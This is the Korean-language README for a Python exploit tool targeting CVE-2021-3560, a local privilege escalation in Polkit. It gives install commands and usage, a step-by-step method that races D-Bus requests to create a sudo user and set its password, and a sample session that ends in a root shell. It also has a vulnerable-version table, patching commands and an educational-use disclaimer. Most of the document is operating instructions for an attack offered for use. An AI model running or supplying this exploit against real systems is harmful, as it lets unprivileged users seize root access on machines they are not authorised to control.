
Exploit for CVE-2021-3560 Polkit Local Privilege Escalation Vulnerability
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
Linux 시스템의 PolicyKit(Polkit)에 영향을 미치는 CVE-2021-3560 취약점에 대한 자동화된 익스플로잇입니다.
⚠️ 경고: 이 도구는 통제된 실습 환경에서 교육 및 사이버 보안 교육 목적으로만 사용됩니다. 소유하지 않은 시스템에서 이 익스플로잇을 무단으로 사용하는 것은 불법입니다.
CVE-2021-3560은 PolicyKit(polkit)의 로컬 경쟁 조건 취약점으로, 권한이 없는 사용자가 취약한 Linux 시스템에서 루트 권한을 획득할 수 있게 합니다.
이 취약점은 서로 다른 버전 번호 체계를 가진 Polkit의 두 가지 브랜치에 영향을 미칩니다.
bfa5036 (버전 0.113)f81d021 (버전 0.105-26)📝 참고: 보안 패치가 적용된 시스템(예: ubuntu1.1, deb10u1)은 취약하지 않습니다.
익스플로잇에는 다음 도구가 필요합니다(자동 확인됨):
- dbus-send # To communicate with D-Bus
- pkexec # Part of PolicyKit
- id # To verify user creation
- openssl # To generate password hash
- accountsservice # Must be installed and active
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Make the script executable
chmod +x CVE-2021-3560_Polkit.py
시스템이 취약한지 확인합니다(익스플로잇 실행 없이):
python3 CVE-2021-3560_Polkit.py --check
출력 예시:
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
권한 있는 사용자 생성:
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
예시:
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help Show help
-u, --username Username to create
-p, --password Password for new user
-c, --check Check vulnerability without exploiting
이 익스플로잇은 D-Bus 요청 처리 중 PolicyKit의 경쟁 조건을 악용합니다.
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement │
│ └─> Test execution to calibrate timing │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation │
│ └─> Send D-Bus CreateUser request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Verify if user created │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation │
│ └─> Using openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting │
│ └─> Send D-Bus SetPassword request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Test login with password │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation │
│ └─> Login with created account │
│ └─> Use sudo if member of sudo group │
└─────────────────────────────────────────────────────────┘
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝
[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!
╔═══════════════════════════════════════════════════════════╗
║ EXPLOIT SUCCESSFUL! ║
╚═══════════════════════════════════════════════════════════╝
[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...
# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)
PolicyKit 업데이트:
# Debian/Ubuntu
sudo apt update && sudo apt upgrade policykit-1
# RHEL/CentOS/Fedora
sudo yum update polkit
# or
sudo dnf update polkit
버전 확인:
pkexec --version
# Must be >= 0.119 (upstream) or patched
보안 패치 확인:
# Debian/Ubuntu
apt-cache policy policykit-1
# RHEL/CentOS/Fedora
rpm -q --changelog polkit | grep CVE-2021-3560
이 익스플로잇은 경쟁 조건에 의존하므로 다음을 의미합니다:
다음 버전에는 보안 패치가 포함되어 있으며 취약하지 않습니다:
0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3, etc. (Ubuntu 패치됨)0.105-26ubuntu2.1, 0.105-26ubuntu2.2, etc. (Ubuntu 패치됨)0.105-31+deb11u1 (Debian 11 패치됨)polkit-0.115-11.el8_4.1 (RHEL 8 패치됨)참고: 시스템이 취약한 것으로 표시되지만 익스플로잇이 PermissionDenied 오류로 실패하는 경우, 패치된 버전일 가능성이 높습니다. 이 익스플로잇은 이제 이러한 패치된 버전을 올바르게 감지합니다.
익스플로잇이 실패하는 경우:
Python 버전 확인 (TypeError: __init__() got an unexpected keyword argument 'capture_output' 오류가 발생하는 경우):
python3 --version
# Should be 3.6 or higher
# The script is compatible with Python 3.6+
버전이 패치되었는지 확인:
pkexec --version
# If you see ubuntu1.X (where X > 0), it's patched
accountsservice 확인:
systemctl status accounts-daemon
D-Bus 확인:
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
로컬 콘솔 대신 SSH로 실행
코드에서 optimal_timing을 수정하여 타이밍 조정
Seimu
이 프로젝트는 교육 목적으로만 제공됩니다. 이 코드를 무단 활동에 사용하는 것은 엄격히 금지되며 법적 조치를 받을 수 있습니다.
⚠️ 면책: 저자는 이 도구의 오용에 대해 책임지지 않습니다. 승인된 테스트 환경에서만 사용하십시오.
| 배포판 | Polkit 버전 | 취약? |
|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ 예 |
| Ubuntu 18.04 | 0.105-20 | ❌ 아니오 |
| Debian testing "bullseye" | 0.105-31+ | ✅ 예 |
| Debian 10 "buster" | 0.105-25 | ❌ 아니오 |
| RHEL 8 | 0.115-11+ | ✅ 예 |
| RHEL 7 | < 0.113 | ❌ 아니오 |
| Fedora 21+ | 0.113+ | ✅ 예 |
| Fedora 20 및 이전 | < 0.113 | ❌ 아니오 |